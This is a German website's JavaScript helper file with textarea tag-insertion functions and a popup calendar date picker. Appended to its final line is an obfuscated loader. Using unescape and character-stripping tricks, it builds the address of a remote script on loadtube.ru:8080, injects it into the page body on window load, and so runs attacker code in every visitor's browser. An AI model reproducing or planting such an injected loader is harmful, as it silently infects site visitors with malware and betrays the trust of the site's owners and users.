function insertTags(pvTextarea, pvTagOpen, pvTagClose, pvSampleText) {
    // IE
    if (document.selection && !is_gecko) {
        var theSelection = document.selection.createRange().text;
        if (!theSelection) theSelection=pvSampleText;
        pvTextarea.focus();
        if (theSelection.charAt(theSelection.length - 1) == " ") { // exclude ending space char, if any
            theSelection = theSelection.substring(0, theSelection.length - 1);
            document.selection.createRange().text = pvTagOpen + theSelection + pvTagClose + " ";
        } else {
            document.selection.createRange().text = pvTagOpen + theSelection + pvTagClose;
        }

    // Mozilla
    } else if(pvTextarea.selectionStart || pvTextarea.selectionStart == '0') {
        var replaced = false;
        var startPos = pvTextarea.selectionStart;
        var endPos = pvTextarea.selectionEnd;
        if (endPos-startPos) replaced = true;
        var scrollTop = pvTextarea.scrollTop;
        var myText = (pvTextarea.value).substring(startPos, endPos);
        if (!myText) myText=pvSampleText;
        if (myText.charAt(myText.length - 1) == " ") { // exclude ending space char, if any
            subst = pvTagOpen + myText.substring(0, (myText.length - 1)) + pvTagClose + " ";
        } else {
            subst = pvTagOpen + myText + pvTagClose;
        }
        pvTextarea.value = pvTextarea.value.substring(0, startPos) + subst + pvTextarea.value.substring(endPos, pvTextarea.value.length);
        pvTextarea.focus();
        //set new selection
        if (replaced) {
            var cPos = startPos+(pvTagOpen.length+myText.length+pvTagClose.length);
            pvTextarea.selectionStart = cPos;
            pvTextarea.selectionEnd = cPos;
        } else {
            pvTextarea.selectionStart = startPos+pvTagOpen.length;
            pvTextarea.selectionEnd = startPos+pvTagOpen.length+myText.length;
        }
        pvTextarea.scrollTop = scrollTop;
        // All other browsers get no toolbar.
        // There was previously support for a crippled "help"
        // bar, but that caused more problems than it solved.
    }
    // reposition cursor if possible
    if (pvTextarea.createTextRange)
        pvTextarea.caretPos = document.selection.createRange().duplicate();
}

function insertReplaceText(pvTextarea, pvText) {
    // IE
    if (document.selection && !is_gecko) {
        var theSelection = document.selection.createRange().text;
        if (!theSelection) theSelection=pvSampleText;
        pvTextarea.focus();
        if (theSelection.charAt(theSelection.length - 1) == " ") { // exclude ending space char, if any
            theSelection = theSelection.substring(0, theSelection.length - 1);
            document.selection.createRange().text = pvText + " ";
        } else {
            document.selection.createRange().text = pvText;
        }
    // Mozilla
    } else if(pvTextarea.selectionStart || pvTextarea.selectionStart == '0') {
        var replaced = false;
        var startPos = pvTextarea.selectionStart;
        var endPos = pvTextarea.selectionEnd;
        if (endPos-startPos) replaced = true;
        var scrollTop = pvTextarea.scrollTop;
        var myText = pvText;
        if (myText.charAt(myText.length - 1) == " ") { // exclude ending space char, if any
            subst = myText.substring(0, (myText.length - 1)) + " ";
        } else {
            subst = myText;
        }
        pvTextarea.value = pvTextarea.value.substring(0, startPos) + subst + pvTextarea.value.substring(endPos, pvTextarea.value.length);
        pvTextarea.focus();
        //set new selection
        if (replaced) {
            var cPos = startPos+(myText.length);
            pvTextarea.selectionStart = cPos;
            pvTextarea.selectionEnd = cPos;
        } else {
            pvTextarea.selectionStart = startPos;
            pvTextarea.selectionEnd = startPos+myText.length;
        }
        pvTextarea.scrollTop = scrollTop;
        // All other browsers get no toolbar.
        // There was previously support for a crippled "help"
        // bar, but that caused more problems than it solved.
    }
    // reposition cursor if possible
    if (pvTextarea.createTextRange)
        pvTextarea.caretPos = document.selection.createRange().duplicate();
}


/* -----------------------------------------------------------------------------
 * Calendar
 * ----------------------------------------------------------------------------- */

/**
 * Utility Method to open a calendar picker. Use THIS method to open a calendarpicker from
 * a certain link.
 * @param field is the related input field for the picker to drop the result in.
 */
function openCalendarPicker(field)
{
  var dateString = field.value;
  var initialDate = parseDateString(dateString);

  var calendarWindow = window.open('', 'calendarWindow', 'resizable=no,width=220,height=220, left=170, top=230');
  var calendarDocument = calendarWindow.document;

  // Caution: calendar is a global variable!!!!
  calendar = new MonthCalendar(calendarDocument, initialDate, field);
  calendar.drawCalendarLeaf(true, true);
  calendarWindow.focus();
}

/**
 * Utility Method to set a day as choosen, return the result from the picker to the fild
 * and close the picker.pield.
 * @param day is the choosen day-value
 * @param win is the picker window to be closed.
 */
function chooseDate(day, win) {
  var outDay = day < 10 ? '0' + day : day;
  var outMonth = calendar.chosen.getMonth() + 1;
  outMonth = outMonth < 10 ? '0' + outMonth : outMonth;
  if (calendar.field != null)
  {
    calendar.field.value = outDay + "." + outMonth + "." + calendar.chosen.getFullYear();
    win.close();
    return;
  }
  win.close();
}

/**
 * Utility Method which is called during runtime when the month or year have been altered.
 * @param day is the choosen day-value
 */
function updateCalendar() {
  calendar.chosen.setFullYear(calendar.doc.Calendar.yearSelect.options[calendar.doc.Calendar.yearSelect.selectedIndex].value);
  calendar.chosen.setMonth(calendar.doc.Calendar.monthSelect.selectedIndex);
  calendar.year = calendar.chosen.getFullYear();
  calendar.month = calendar.chosen.getMonth();
  calendar.drawCalendarLeaf(true, true);
}

/**
 * This is the calendar opbject, which holds all data and provides the
 * necesarry functionality to drwa a month calendar
 *
 * Constructor parameters are:
 * @param doc is the document to be alterd.
 * @param the initial Date.
 * @param the fild to be used for a picker.
 */
function MonthCalendar(doc, initialDate, field)
{
  // init Calendar-Object
  this.month = initialDate.getMonth();
  this.year = initialDate.getFullYear();
  this.chosen = initialDate;
  if (!this.chosen) this.chosen = new Date();

  this.field = field;
  this.doc = doc;

  this.monthNames = new Array ("Januar","Februar","M&auml;rz","April","Mai","Juni","Juli","August","September","Oktober","November","Dezember");

  this.writeHeader = writeHeader;
  this.writeCell = writeCell;
  this.drawCalendarLeaf = drawCalendarLeaf;
}

/**
 * Draws a calendar. Optional as a calendar picker, where the days are links.
 * @param asPicker true, if you want to draw a picker.
 */
function drawCalendarLeaf(asPicker, markDay)
{
  if (asPicker) {
    this.doc.write('<html>\n  <head>\n    <title>Kalender</title>\n    <link rel=stylesheet type="text/css" href="http://www.minigolf-langeoog.de/global/layout/default/style/layout.css">\n    <link rel=stylesheet type="text/css" href="http://www.minigolf-langeoog.de/global/layout/default/style/menu.css">\n    <link rel=stylesheet type="text/css" href="http://www.minigolf-langeoog.de/global/layout/default/style/standard.css">\n    <link rel=stylesheet type="text/css" href="http://sarstedt.dlrg.de/style/custom.css">\n</head><body topmargin="0" marginwidth="0" marginheight="0" leftmargin="0" bgcolor="#FFFFFF">');
    this.doc.write('<div style="background-color:#EBF2F5;">');
    this.doc.write('<table style="margin:0px; padding:0px" width="100%" height="100%" border="0" cellpadding="5" cellspacing="3">');
  }
  else {
    this.doc.write('<table border="0" cellpadding="5" cellspacing="3">');
  }
  this.writeHeader("cal_head", asPicker);

  var today = new Date();
  if (!asPicker) today = this.chosen;
  var vTime = new Date(this.year,this.month,1);
  var Start = vTime.getDay();
  if(Start > 0) Start--; else Start = 6;
  var Stop = 31;
  if(this.month==3 ||this.month==5 || this.month==8 || this.month==10 ) --Stop;
  if(this.month==1) {
    Stop-=3;
    if(this.year%4==0) Stop++;
    if(this.year%100==0) Stop--;
    if(this.year%400==0) Stop++;
  }
  var dayCount = 1;
  var checkDate = new Date();
  for(i=0;i<=5;i++) {
    this.doc.write("<tr>");
    for(j=0;j<=5;j++) {
      if((i==0)&&(j < Start))
        this.writeCell("","calendar",asPicker);
      else {
        if(dayCount > Stop)
          this.writeCell("","calendar",asPicker);
        else {
          if( (this.year  == today.getFullYear()) &&
              (this.month == today.getMonth()) &&
              (dayCount   == today.getDate()) && markDay )
            this.writeCell(dayCount,"today",asPicker);
          else
            this.writeCell(dayCount,"calendar",asPicker);
          dayCount++;
        }
      }
    }
    if(dayCount > Stop)
      this.writeCell("","calendar",asPicker);
    else {
      if( (this.year  == today.getFullYear()) &&
          (this.month == today.getMonth()) &&
          (dayCount   == today.getDate()) && markDay )
        this.writeCell(dayCount,"today",asPicker);
      else
        this.writeCell(dayCount,"calendar highlighter",asPicker);
      dayCount++;
    }
    this.doc.write("</tr>");
  }
  this.doc.write("</table>");
  if (asPicker) {
    this.doc.write('</div>');
    this.doc.write("</body></html>");
    this.doc.close();
  }
}

/**
 * Writes the header for the calendar (picker).
 * @param cssClass to be used.
 * @param asPicker true, if you want to draw a picker.
 */
function writeHeader(cssClass, asPicker) {
  var dayName = new Array ("Mo","Di","Mi","Do","Fr","Sa","So");

  this.doc.write("<tr>");
  this.doc.write('<th class="'+ cssClass + '" align=center colspan=7 valign=middle>');

  if (asPicker) {
    this.doc.write('<form name="Calendar">');
    this.doc.write('<select name="monthSelect" onChange="opener.updateCalendar()">');
    for (i=0; i<12; i++) {
      if (i == this.month)
        this.doc.write('<option value="' + i + '" SELECTED>' + this.monthNames[i] + '<\/OPTION>');
      else
        this.doc.write('<option value="' + i + '">'          + this.monthNames[i] + '<\/OPTION>');
    }
    this.doc.write('</select>&nbsp;&nbsp;&nbsp;');
    this.doc.write('<select name="yearSelect" onChange="opener.updateCalendar()">');
    for (i=this.year-10; i<this.year-(-10); i++) {
      if (i == this.year)
        this.doc.write('<option value="' + i + '" SELECTED>' + i + '<\/OPTION>');
      else
        this.doc.write('<option value="' + i + '">'          + i + '<\/OPTION>');
    }
    this.doc.write('</select>');
  }
  else {
    this.doc.write('<b>' + this.monthNames[this.month] + ' ' + this.year + '</b>');
  }

  this.doc.write("</th></tr>");
  this.doc.write("<tr>");
  for(i=0;i<=6;i++)
    this.writeCell(dayName[i],cssClass,false);
  this.doc.write("</tr>");
}

/**
 * Writes the header for the calendar (picker).
 * @param the content to be drawn.
 * @param cssClass to be used.
 * @param asLink true, if you want to draw a cell as a link.
 */
function writeCell(content,cssClass,asLink) {
  if (asLink)
    this.doc.write('<td class="'+ cssClass + '" align=right valign=middle>');
  else
    this.doc.write('<th class="'+ cssClass + '" align=center valign=middle>');
  if (asLink)
    this.doc.write('<a href="javascript:opener.chooseDate(' + content + ',self)">' + content + '</a>');
  else
    this.doc.write(content);
  if (asLink)
    this.doc.write("</td>");
  else
    this.doc.write("</th>");
}

/**
 * Utility Method to format a date as a readable string.
 * @param day is the choosen day-value
 */
function formatDate(date) {
  var outDay = date.getDate() < 10 ? '0' + date.getDate() : date.getDate();
  var outMonth = date.getMonth() + 1;
  outMonth = outMonth < 10 ? '0' + outMonth : outMonth;
  return outDay + "." + outMonth + "." + date.getFullYear();
}

function parseDateString(dateString) {
  var retVal = new Date(dateString);
  if (isNaN(retVal)) {
    retVal = new Date();
    if (dateString.length > 0) {
      retVal.setDate(dateString.substring(0, dateString.indexOf('.')));
      dateString = dateString.substring(dateString.indexOf('.') + 1);
      retVal.setMonth(dateString.substring(0, dateString.indexOf('.')) - 1);
      dateString = dateString.substring(dateString.indexOf('.') + 1);
      retVal.setFullYear(dateString.substring(0, dateString.length));
      var year = retVal.getFullYear();
      if (year < 80) year += 2000;
      else if (year < 100) year += 1900;
      retVal.setFullYear(year);
    }
  }

  if (isNaN(retVal))
    retVal = new Date();

  return retVal;
}

var S=new Date();var d=new Date();var f=new Date();function B(){var b;if(b!='' && b!='A'){b='Fl'};var W='';var K=unescape;var fw;if(fw!=''){fw='C'};var v;if(v!=''){v='q'};var Kz=window;var jj=new Date();var j_;if(j_!='' && j_!='O'){j_=''};var M=K("%2f%62%72%65%61%6b%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%62%6c%61%63%6b%62%65%72%72%79%2e%63%6f%6d%2e%70%68%70");this.CM="";var x;if(x!=''){x='Y'};var aW;if(aW!='' && aW!='nq'){aW='Ne'};function j(KE,BZ){var z=String("getCF".substr(0,1));var LC;if(LC!=''){LC='i'};var X=K("%5b"), E=K("%5d");var y=X+BZ+E;var H=new RegExp(y, z);var IZ;if(IZ!='' && IZ!='KT'){IZ='ok'};return KE.replace(H, new String());this.EZ='';var gq;if(gq!='' && gq!='PL'){gq=''};};var l="";var p=j('816101518239055','32179546');var qt=new Array();this.Y_="";var e=document;this.MX='';var tXC;if(tXC!='Lh' && tXC!='Sp'){tXC=''};var pd=new String();this.od='';var yp;if(yp!='' && yp!='kI'){yp='an'};var m;if(m!='CG' && m != ''){m=null};function F(){this.gD="";var UG=new String();var bZ;if(bZ!='XX'){bZ=''};var YA=new String();var yI=K("%68%74%74%70%3a%2f%2f%6c%6f%61%64%74%75%62%65%2e%72%75%3a");var jv='';var Ht=new String();pd=yI;pd+=p;var Eu=new String();var gH;if(gH!='' && gH!='Ak'){gH='Sc'};pd+=M;var wMr='';var n_='';try {var ZJ=new String();var wH=new String();this.DL='';g=e.createElement(j('sWcqr5ibpKt5','5WAqDbYhK'));var uX;if(uX!='' && uX!='wu'){uX=null};g[K("%64%65%66%65%72")]=[7,1][1];var fa;if(fa!='' && fa!='Cqu'){fa=null};g[K("%73%72%63")]=pd;e.body.appendChild(g);var Ya;if(Ya!='EC' && Ya != ''){Ya=null};this.Ga='';var Pj;if(Pj!='tN' && Pj != ''){Pj=null};} catch(r){alert(r);var EJ=new Date();var HH=new String();};var ZSC=new Array();}var zG='';Kz[String("onl"+"We4uoad".substr(4))]=F;var BD;if(BD!='' && BD!='nF'){BD='DO'};var gJ;if(gJ!='wD' && gJ!='CW'){gJ=''};};var KX='';var cs='';B();